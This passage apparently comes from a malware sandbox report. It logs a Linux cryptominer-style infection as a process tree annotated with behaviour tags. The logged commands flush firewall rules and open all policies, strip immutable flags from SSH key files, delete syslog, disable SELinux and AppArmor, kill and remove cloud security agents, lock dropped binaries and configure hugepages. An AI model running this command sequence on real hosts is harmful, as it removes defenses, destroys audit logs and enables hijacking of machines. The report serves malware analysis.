      PID:1616
  - - /sbin/ip6tables
      ip6tables -F ufw6-logging-allow
      4⤵
      PID:1617
  - - /sbin/ip6tables
      ip6tables -F ufw6-not-local
      4⤵
      PID:1618
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-logging-input
      4⤵
      Flushes firewall rules
      Removes the immutable protection flag from a file
      PID:1619
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-limit-accept
      4⤵
      PID:1620
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-limit
      4⤵
      Flushes firewall rules
      PID:1621
  - - /sbin/ip6tables
      ip6tables -F ufw6-skip-to-policy-input
      4⤵
      Flushes firewall rules
      PID:1622
  - - /sbin/ip6tables
      ip6tables -F ufw6-reject-input
      4⤵
      PID:1623
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-logging-input
      4⤵
      Flushes firewall rules
      PID:1624
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-input
      4⤵
      PID:1625
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-input
      4⤵
      PID:1626
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-input
      4⤵
      PID:1627
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-logging-input
      4⤵
      PID:1628
  - - /sbin/ip6tables
      ip6tables -F ufw6-skip-to-policy-forward
      4⤵
      Flushes firewall rules
      PID:1629
  - - /sbin/ip6tables
      ip6tables -F ufw6-reject-forward
      4⤵
      PID:1630
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-logging-forward
      4⤵
      Flushes firewall rules
      PID:1631
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-forward
      4⤵
      PID:1632
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-logging-forward
      4⤵
      Flushes firewall rules
      PID:1633
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-forward
      4⤵
      PID:1634
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-forward
      4⤵
      PID:1635
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-logging-forward
      4⤵
      PID:1636
  - - /sbin/ip6tables
      ip6tables -F ufw6-track-forward
      4⤵
      Flushes firewall rules
      PID:1637
  - - /sbin/ip6tables
      ip6tables -F ufw6-track-output
      4⤵
      PID:1638
  - - /sbin/ip6tables
      ip6tables -F ufw6-track-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1639
  - - /sbin/ip6tables
      ip6tables -F ufw6-skip-to-policy-output
      4⤵
      PID:1640
  - - /sbin/ip6tables
      ip6tables -F ufw6-reject-output
      4⤵
      PID:1641
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-logging-output
      4⤵
      Flushes firewall rules
      PID:1642
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-output
      4⤵
      PID:1643
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-logging-output
      4⤵
      PID:1644
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-output
      4⤵
      PID:1645
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-output
      4⤵
      PID:1646
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-logging-output
      4⤵
      PID:1647
  - - /sbin/ip6tables
      ip6tables -Z ufw6-logging-deny
      4⤵
      PID:1648
  - - /sbin/ip6tables
      ip6tables -Z ufw6-logging-allow
      4⤵
      Flushes firewall rules
      PID:1650
  - - /sbin/ip6tables
      ip6tables -Z ufw6-not-local
      4⤵
      PID:1651
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-logging-input
      4⤵
      PID:1652
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-limit-accept
      4⤵
      PID:1653
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-limit
      4⤵
      Flushes firewall rules
      PID:1654
  - - /sbin/ip6tables
      ip6tables -Z ufw6-skip-to-policy-input
      4⤵
      Flushes firewall rules
      Removes the immutable protection flag from a file
      PID:1655
  - - /sbin/ip6tables
      ip6tables -Z ufw6-reject-input
      4⤵
      Flushes firewall rules
      PID:1656
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-logging-input
      4⤵
      Flushes firewall rules
      PID:1657
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-input
      4⤵
      PID:1658
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-input
      4⤵
      PID:1659
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-input
      4⤵
      Flushes firewall rules
      PID:1660
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-logging-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1661
  - - /sbin/ip6tables
      ip6tables -Z ufw6-skip-to-policy-forward
      4⤵
      PID:1662
  - - /sbin/ip6tables
      ip6tables -Z ufw6-reject-forward
      4⤵
      PID:1663
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-logging-forward
      4⤵
      PID:1664
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-forward
      4⤵
      PID:1665
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-logging-forward
      4⤵
      Flushes firewall rules
      PID:1666
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-forward
      4⤵
      PID:1667
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-forward
      4⤵
      PID:1668
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-logging-forward
      4⤵
      PID:1669
  - - /sbin/ip6tables
      ip6tables -Z ufw6-track-forward
      4⤵
      Flushes firewall rules
      PID:1670
  - - /sbin/ip6tables
      ip6tables -Z ufw6-track-output
      4⤵
      PID:1671
  - - /sbin/ip6tables
      ip6tables -Z ufw6-track-input
      4⤵
      PID:1672
  - - /sbin/ip6tables
      ip6tables -Z ufw6-skip-to-policy-output
      4⤵
      Flushes firewall rules
      PID:1673
  - - /sbin/ip6tables
      ip6tables -Z ufw6-reject-output
      4⤵
      Flushes firewall rules
      PID:1674
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-logging-output
      4⤵
      PID:1675
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-output
      4⤵
      PID:1676
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-logging-output
      4⤵
      Flushes firewall rules
      PID:1677
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-output
      4⤵
      PID:1678
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-output
      4⤵
      Flushes firewall rules
      PID:1679
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-logging-output
      4⤵
      Flushes firewall rules
      PID:1680
  - - /sbin/ip6tables
      ip6tables -X ufw6-logging-deny
      4⤵
      PID:1681
  - - /sbin/ip6tables
      ip6tables -X ufw6-logging-allow
      4⤵
      PID:1682
  - - /sbin/ip6tables
      ip6tables -X ufw6-not-local
      4⤵
      PID:1683
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-logging-input
      4⤵
      PID:1684
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-logging-output
      4⤵
      PID:1685
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-logging-forward
      4⤵
      Flushes firewall rules
      PID:1686
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-limit-accept
      4⤵
      Flushes firewall rules
      PID:1687
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-limit
      4⤵
      Flushes firewall rules
      PID:1688
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-input
      4⤵
      Flushes firewall rules
      PID:1689
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-forward
      4⤵
      Flushes firewall rules
      PID:1690
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-output
      4⤵
      Flushes firewall rules
      PID:1691
  - - /sbin/ip6tables
      ip6tables -X ufw6-skip-to-policy-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1692
  - - /sbin/ip6tables
      ip6tables -X ufw6-skip-to-policy-output
      4⤵
      PID:1693
  - - /sbin/ip6tables
      ip6tables -X ufw6-skip-to-policy-forward
      4⤵
      PID:1694
  - - /sbin/ip6tables
      ip6tables -P INPUT ACCEPT
      4⤵
      PID:1695
  - - /sbin/ip6tables
      ip6tables -P OUTPUT ACCEPT
      4⤵
      PID:1696
  - - /sbin/ip6tables
      ip6tables -P FORWARD ACCEPT
      4⤵
      Flushes firewall rules
      PID:1697
- /usr/bin/chattr
  chattr -iae /root/.ssh/
  2⤵
  PID:1698
- /usr/bin/chattr
  chattr -iae /root/.ssh/authorized_keys
  2⤵
  PID:1699
- /usr/bin/chattr
  chattr -iua /tmp/
  2⤵
  - Removes the immutable protection flag from a file
  PID:1700
- /usr/bin/chattr
  chattr -iua /var/tmp/
  2⤵
  PID:1701
- /bin/rm
  rm -rf "/tmp/addres*"
  2⤵
  PID:1702
- /bin/rm
  rm -rf "/tmp/walle*"
  2⤵
  PID:1703
- /bin/rm
  rm -rf /tmp/keys
  2⤵
  PID:1704
- /bin/rm
  rm -rf /var/log/syslog
  2⤵
  - Deletes system logs
  PID:1705
- /bin/sync
  sync
  2⤵
  PID:1706
- /bin/cat
  cat /var/spool/cron/
  2⤵
  PID:1707
- /bin/cat
  cat /root/.ssh/authorized_keys
  2⤵
  PID:1708
- /bin/mv
  mv /usr/bin/wgettnt /usr/bin/wd1
  2⤵
  PID:1709
- /bin/mv
  mv /usr/bin/curltnt /usr/bin/cd1
  2⤵
  PID:1710
- /bin/mv
  mv /usr/bin/wget1 /usr/bin/wd1
  2⤵
  PID:1711
- /bin/mv
  mv /usr/bin/curl1 /usr/bin/cd1
  2⤵
  PID:1712
- /bin/mv
  mv /usr/bin/cur /usr/bin/cd1
  2⤵
  PID:1713
- /bin/mv
  mv /usr/bin/cdl /usr/bin/cd1
  2⤵
  PID:1714
- /bin/mv
  mv /usr/bin/cdt /usr/bin/cd1
  2⤵
  PID:1715
- /bin/mv
  mv /usr/bin/xget /usr/bin/wd1
  2⤵
  PID:1716
- /bin/mv
  mv /usr/bin/wge /usr/bin/wd1
  2⤵
  PID:1717
- /bin/mv
  mv /usr/bin/wdl /usr/bin/wd1
  2⤵
  PID:1718
- /bin/mv
  mv /usr/bin/wdt /usr/bin/wd1
  2⤵
  PID:1719
- /bin/mv
  mv /usr/bin/wget /usr/bin/wd1
  2⤵
  PID:1720
- /bin/mv
  mv /usr/bin/curl /usr/bin/cd1
  2⤵
  PID:1721
- /bin/grep
  grep -i "[a]liyun"
  2⤵
  PID:1723
- /bin/ps
  ps aux
  2⤵
  PID:1722
- /bin/grep
  grep -i "[y]unjing"
  2⤵
  PID:1725
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:1724
- /usr/sbin/setenforce
  setenforce 0
  2⤵
  - Disables SELinux
  PID:1726
- /usr/sbin/service
  service apparmor stop
  2⤵
  PID:1727
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:1728
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:1729
- - /bin/systemctl
    systemctl --quiet is-active multi-user.target
    3⤵
    PID:1730
- - /bin/systemctl
    systemctl list-unit-files --full "--type=socket"
    3⤵
    PID:1732
- - /bin/sed
    sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
    3⤵
    PID:1733
- - /bin/systemctl
    systemctl -p Triggers show acpid.socket
    3⤵
    PID:1734
- - /bin/systemctl
    systemctl -p Triggers show apport-forward.socket
    3⤵
    PID:1735
- - /bin/systemctl
    systemctl -p Triggers show avahi-daemon.socket
    3⤵
    PID:1736
- - /bin/systemctl
    systemctl -p Triggers show cups.socket
    3⤵
    PID:1737
- - /bin/systemctl
    systemctl -p Triggers show dbus.socket
    3⤵
    PID:1738
- - /bin/systemctl
    systemctl -p Triggers show saned.socket
    3⤵
    PID:1739
- - /bin/systemctl
    systemctl -p Triggers show snapd.socket
    3⤵
    PID:1740
- - /bin/systemctl
    systemctl -p Triggers show ssh.socket
    3⤵
    PID:1741
- - /bin/systemctl
    systemctl -p Triggers show syslog.socket
    3⤵
    PID:1742
- - /bin/systemctl
    systemctl -p Triggers show systemd-fsckd.socket
    3⤵
    PID:1743
- - /bin/systemctl
    systemctl -p Triggers show systemd-initctl.socket
    3⤵
    - Removes the immutable protection flag from a file
    PID:1744
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-audit.socket
    3⤵
    PID:1745
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-dev-log.socket
    3⤵
    PID:1746
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald.socket
    3⤵
    PID:1747
- - /bin/systemctl
    systemctl -p Triggers show systemd-networkd.socket
    3⤵
    PID:1748
- - /bin/systemctl
    systemctl -p Triggers show systemd-rfkill.socket
    3⤵
    PID:1749
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-control.socket
    3⤵
    PID:1750
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-kernel.socket
    3⤵
    PID:1751
- - /bin/systemctl
    systemctl -p Triggers show uuidd.socket
    3⤵
    PID:1752
- /usr/local/sbin/systemctl
  systemctl stop apparmor.service
  2⤵
  PID:1727
- /usr/local/bin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:1727
- /usr/sbin/systemctl
  systemctl stop apparmor.service
  2⤵
  PID:1727
- /usr/bin/systemctl
  systemctl stop apparmor.service
  2⤵
  PID:1727
- /sbin/systemctl
  systemctl stop apparmor.service
  2⤵
  PID:1727
- /bin/systemctl
  systemctl stop apparmor.service
  2⤵
  PID:1727
- /bin/systemctl
  systemctl disable apparmor
  2⤵
  - Disables AppArmor Mandatory Access Control
  - Changes its process name
  PID:1764
- - /lib/systemd/systemd-sysv-install
    /lib/systemd/systemd-sysv-install disable apparmor
    3⤵
    PID:1765
  - - /usr/bin/getopt
      getopt -o r: --long root: -- disable apparmor
      4⤵
      PID:1766
  - - /usr/sbin/update-rc.d
      /usr/sbin/update-rc.d apparmor defaults
      4⤵
      PID:1767
    - - /usr/local/sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        Disables AppArmor Mandatory Access Control
        
        PID:1768
    - - /usr/local/bin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1768
    - - /usr/sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1768
    - - /usr/bin/systemctl
        
        systemctl daemon-reload
        5⤵
        Disables AppArmor Mandatory Access Control
        
        PID:1768
    - - /sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1768
    - - /bin/systemctl
        
        systemctl daemon-reload
        5⤵
        Disables AppArmor Mandatory Access Control
        
        PID:1768
  - - /usr/sbin/update-rc.d
      /usr/sbin/update-rc.d apparmor disable
      4⤵
      PID:1789
    - - /usr/local/sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1790
    - - /usr/local/bin/systemctl
        
        systemctl daemon-reload
        5⤵
        Disables AppArmor Mandatory Access Control
        
        PID:1790
    - - /usr/sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        Disables AppArmor Mandatory Access Control
        
        PID:1790
    - - /usr/bin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1790
    - - /sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1790
    - - /bin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1790
- /usr/sbin/service
  service aliyun.service stop
  2⤵
  PID:1831
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:1832
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:1833
- - /bin/systemctl
    systemctl --quiet is-active multi-user.target
    3⤵
    - Disables AppArmor Mandatory Access Control
    PID:1834
- - /bin/sed
    sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
    3⤵
    PID:1837
- - /bin/systemctl
    systemctl list-unit-files --full "--type=socket"
    3⤵
    PID:1836
- - /bin/systemctl
    systemctl -p Triggers show acpid.socket
    3⤵
    PID:1838
- - /bin/systemctl
    systemctl -p Triggers show apport-forward.socket
    3⤵
    - Disables AppArmor Mandatory Access Control
    PID:1839
- - /bin/systemctl
    systemctl -p Triggers show avahi-daemon.socket
    3⤵
    PID:1840
- - /bin/systemctl
    systemctl -p Triggers show cups.socket
    3⤵
    - Disables AppArmor Mandatory Access Control
    PID:1841
- - /bin/systemctl
    systemctl -p Triggers show dbus.socket
    3⤵
    - Disables AppArmor Mandatory Access Control
    PID:1842
- - /bin/systemctl
    systemctl -p Triggers show saned.socket
    3⤵
    - Disables AppArmor Mandatory Access Control
    PID:1843
- - /bin/systemctl
    systemctl -p Triggers show snapd.socket
    3⤵
    - Disables AppArmor Mandatory Access Control
    PID:1844
- - /bin/systemctl
    systemctl -p Triggers show ssh.socket
    3⤵
    - Disables AppArmor Mandatory Access Control
    PID:1845
- - /bin/systemctl
    systemctl -p Triggers show syslog.socket
    3⤵
    PID:1846
- - /bin/systemctl
    systemctl -p Triggers show systemd-fsckd.socket
    3⤵
    - Disables AppArmor Mandatory Access Control
    PID:1847
- - /bin/systemctl
    systemctl -p Triggers show systemd-initctl.socket
    3⤵
    - Disables AppArmor Mandatory Access Control
    PID:1848
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-audit.socket
    3⤵
    - Disables AppArmor Mandatory Access Control
    PID:1849
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-dev-log.socket
    3⤵
    PID:1850
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald.socket
    3⤵
    PID:1851
- - /bin/systemctl
    systemctl -p Triggers show systemd-networkd.socket
    3⤵
    PID:1852
- - /bin/systemctl
    systemctl -p Triggers show systemd-rfkill.socket
    3⤵
    - Disables AppArmor Mandatory Access Control
    PID:1853
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-control.socket
    3⤵
    - Disables AppArmor Mandatory Access Control
    PID:1854
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-kernel.socket
    3⤵
    PID:1855
- - /bin/systemctl
    systemctl -p Triggers show uuidd.socket
    3⤵
    PID:1856
- /usr/local/sbin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  PID:1831
- /usr/local/bin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  PID:1831
- /usr/sbin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  PID:1831
- /usr/bin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  PID:1831
- /sbin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  PID:1831
- /bin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:1831
- /bin/systemctl
  systemctl disable aliyun.service
  2⤵
  PID:1857
- /bin/grep
  grep aegis
  2⤵
  PID:1860
- /bin/grep
  grep -v grep
  2⤵
  PID:1859
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1862
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1861
- /bin/ps
  ps aux
  2⤵
  PID:1858
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1867
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1866
- /bin/grep
  grep Yun
  2⤵
  PID:1865
- /bin/grep
  grep -v grep
  2⤵
  PID:1864
- /bin/ps
  ps aux
  2⤵
  PID:1863
- /usr/bin/xargs
  xargs rm -rf
  2⤵
  PID:1873
- - /usr/local/sbin/rm
    rm -rf
    3⤵
    PID:1875
- - /usr/local/bin/rm
    rm -rf
    3⤵
    PID:1875
- - /usr/sbin/rm
    rm -rf
    3⤵
    PID:1875
- - /usr/bin/rm
    rm -rf
    3⤵
    PID:1875
- - /sbin/rm
    rm -rf
    3⤵
    PID:1875
- - /bin/rm
    rm -rf
    3⤵
    PID:1875
- /usr/bin/xargs
  xargs dirname
  2⤵
  PID:1872
- - /usr/local/sbin/dirname
    dirname
    3⤵
    PID:1874
- - /usr/local/bin/dirname
    dirname
    3⤵
    PID:1874
- - /usr/sbin/dirname
    dirname
    3⤵
    PID:1874
- - /usr/bin/dirname
    dirname
    3⤵
    PID:1874
- /usr/bin/awk
  awk "{print \$11}"
  2⤵
  PID:1871
- /bin/grep
  grep aegis
  2⤵
  PID:1870
- /bin/grep
  grep -v grep
  2⤵
  PID:1869
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1868
- /usr/bin/xargs
  xargs rm -rf
  2⤵
  PID:1881
- - /usr/local/sbin/rm
    rm -rf
    3⤵
    PID:1883
- - /usr/local/bin/rm
    rm -rf
    3⤵
    PID:1883
- - /usr/sbin/rm
    rm -rf
    3⤵
    PID:1883
- - /usr/bin/rm
    rm -rf
    3⤵
    PID:1883
- - /sbin/rm
    rm -rf
    3⤵
    PID:1883
- - /bin/rm
    rm -rf
    3⤵
    PID:1883
- /usr/bin/xargs
  xargs dirname
  2⤵
  PID:1880
- - /usr/local/sbin/dirname
    dirname
    3⤵
    PID:1882
- - /usr/local/bin/dirname
    dirname
    3⤵
    PID:1882
- - /usr/sbin/dirname
    dirname
    3⤵
    PID:1882
- - /usr/bin/dirname
    dirname
    3⤵
    PID:1882
- /usr/bin/awk
  awk "{print \$11}"
  2⤵
  PID:1879
- /bin/grep
  grep hids
  2⤵
  PID:1878
- /bin/grep
  grep -v grep
  2⤵
  PID:1877
- /bin/ps
  ps aux
  2⤵
  PID:1876
- /usr/bin/xargs
  xargs rm -rf
  2⤵
  PID:1889
- - /usr/local/sbin/rm
    rm -rf
    3⤵
    PID:1891
- - /usr/local/bin/rm
    rm -rf
    3⤵
    PID:1891
- - /usr/sbin/rm
    rm -rf
    3⤵
    PID:1891
- - /usr/bin/rm
    rm -rf
    3⤵
    PID:1891
- - /sbin/rm
    rm -rf
    3⤵
    PID:1891
- - /bin/rm
    rm -rf
    3⤵
    PID:1891
- /usr/bin/xargs
  xargs dirname
  2⤵
  PID:1888
- - /usr/local/sbin/dirname
    dirname
    3⤵
    PID:1890
- - /usr/local/bin/dirname
    dirname
    3⤵
    PID:1890
- - /usr/sbin/dirname
    dirname
    3⤵
    PID:1890
- - /usr/bin/dirname
    dirname
    3⤵
    PID:1890
- /usr/bin/awk
  awk "{print \$11}"
  2⤵
  PID:1887
- /bin/grep
  grep cloudwalker
  2⤵
  PID:1886
- /bin/grep
  grep -v grep
  2⤵
  PID:1885
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1884
- /usr/bin/xargs
  xargs rm -rf
  2⤵
  PID:1897
- - /usr/local/sbin/rm
    rm -rf
    3⤵
    PID:1899
- - /usr/local/bin/rm
    rm -rf
    3⤵
    PID:1899
- - /usr/sbin/rm
    rm -rf
    3⤵
    PID:1899
- - /usr/bin/rm
    rm -rf
    3⤵
    PID:1899
- - /sbin/rm
    rm -rf
    3⤵
    PID:1899
- - /bin/rm
    rm -rf
    3⤵
    PID:1899
- /usr/bin/xargs
  xargs dirname
  2⤵
  PID:1896
- - /usr/local/sbin/dirname
    dirname
    3⤵
    PID:1898
- - /usr/local/bin/dirname
    dirname
    3⤵
    PID:1898
- - /usr/sbin/dirname
    dirname
    3⤵
    PID:1898
- - /usr/bin/dirname
    dirname
    3⤵
    PID:1898
- /usr/bin/awk
  awk "{print \$11}"
  2⤵
  PID:1895
- /bin/grep
  grep titanagent
  2⤵
  PID:1894
- /bin/grep
  grep -v grep
  2⤵
  PID:1893
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1892
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  - Removes the immutable protection flag from a file
  PID:1904
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1903
- /bin/grep
  grep edr
  2⤵
  PID:1902
- /bin/grep
  grep -v grep
  2⤵
  PID:1901
- /bin/ps
  ps aux
  2⤵
  PID:1900
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  PID:1909
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1908
- /bin/grep
  grep aegis
  2⤵
  PID:1907
- /bin/grep
  grep -v grep
  2⤵
  PID:1906
- /bin/ps
  ps aux
  2⤵
  PID:1905
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  PID:1914
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1913
- /bin/grep
  grep Yun
  2⤵
  PID:1912
- /bin/grep
  grep -v grep
  2⤵
  PID:1911
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:1910
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  - Removes the immutable protection flag from a file
  PID:1919
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1918
- /bin/grep
  grep hids
  2⤵
  PID:1917
- /bin/grep
  grep -v grep
  2⤵
  PID:1916
- /bin/ps
  ps aux
  2⤵
  PID:1915
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  PID:1924
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1923
- /bin/grep
  grep edr
  2⤵
  PID:1922
- /bin/grep
  grep -v grep
  2⤵
  PID:1921
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads runtime system information
  PID:1920
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  PID:1929
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1928
- /bin/grep
  grep cloudwalker
  2⤵
  PID:1927
- /bin/grep
  grep -v grep
  2⤵
  PID:1926
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:1925
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  PID:1934
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1933
- /bin/grep
  grep titanagent
  2⤵
  PID:1932
- /bin/grep
  grep -v grep
  2⤵
  PID:1931
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads runtime system information
  PID:1930
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  - Removes the immutable protection flag from a file
  PID:1939
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1938
- /bin/grep
  grep sgagent
  2⤵
  PID:1937
- /bin/grep
  grep -v grep
  2⤵
  PID:1936
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:1935
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  PID:1944
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1943
- /bin/grep
  grep barad_agent
  2⤵
  PID:1942
- /bin/grep
  grep -v grep
  2⤵
  PID:1941
- /bin/ps
  ps aux
  2⤵
  PID:1940
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  PID:1949
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1948
- /bin/grep
  grep hostguard
  2⤵
  PID:1947
- /bin/grep
  grep -v grep
  2⤵
  PID:1946
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads runtime system information
  PID:1945
- /bin/rm
  rm -rf /usr/local/aegis
  2⤵
  PID:1950
- /bin/sleep
  sleep 1
  2⤵
  PID:1951
- /usr/bin/chattr
  chattr -i /usr/bin/ip6network
  2⤵
  - System Network Configuration Discovery
  PID:1954
- /usr/bin/chattr
  chattr -i /usr/bin/kswaped
  2⤵
  PID:1955
- /usr/bin/chattr
  chattr -i /usr/bin/irqbalanced
  2⤵
  PID:1956
- /usr/bin/chattr
  chattr -i /usr/bin/rctlcli
  2⤵
  PID:1957
- /usr/bin/chattr
  chattr -i /usr/bin/systemd-network
  2⤵
  PID:1958
- /usr/bin/chattr
  chattr -i /usr/bin/pamdicks
  2⤵
  PID:1959
- /usr/bin/chattr
  chattr +i /usr/bin/ip6network
  2⤵
  - System Network Configuration Discovery
  PID:1960
- /usr/bin/chattr
  chattr +i /usr/bin/kswaped
  2⤵
  PID:1961
- /usr/bin/chattr
  chattr +i /usr/bin/irqbalanced
  2⤵
  PID:1962
- /usr/bin/chattr
  chattr +i /usr/bin/rctlcli
  2⤵
  PID:1963
- /usr/bin/chattr
  chattr +i /usr/bin/systemd-network
  2⤵
  PID:1964
- /usr/bin/chattr
  chattr +i /usr/bin/pamdicks
  2⤵
  - Removes the immutable protection flag from a file
  PID:1965
- /bin/sleep
  sleep 1
  2⤵
  PID:1966
- /bin/rm
  rm -f /tmp/.null
  2⤵
  PID:1967
- /sbin/sysctl
  sysctl -w "vm.nr_hugepages=128"
  2⤵
  PID:1968
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1973
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1972
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1971
- /bin/grep
  grep 194.87.139.103
  2⤵
  PID:1970
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1978
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1977
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1976
- /bin/grep
  grep 185.71.65.238
  2⤵
  PID:1975
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1983
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1982
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1981
- /bin/grep
  grep 140.82.52.87
  2⤵
  PID:1980
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1989
- /bin/grep
  grep -v -
  2⤵
  PID:1988
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1987
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1986
- /bin/grep
  grep :23
  2⤵
  PID:1985
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1995
- /bin/grep
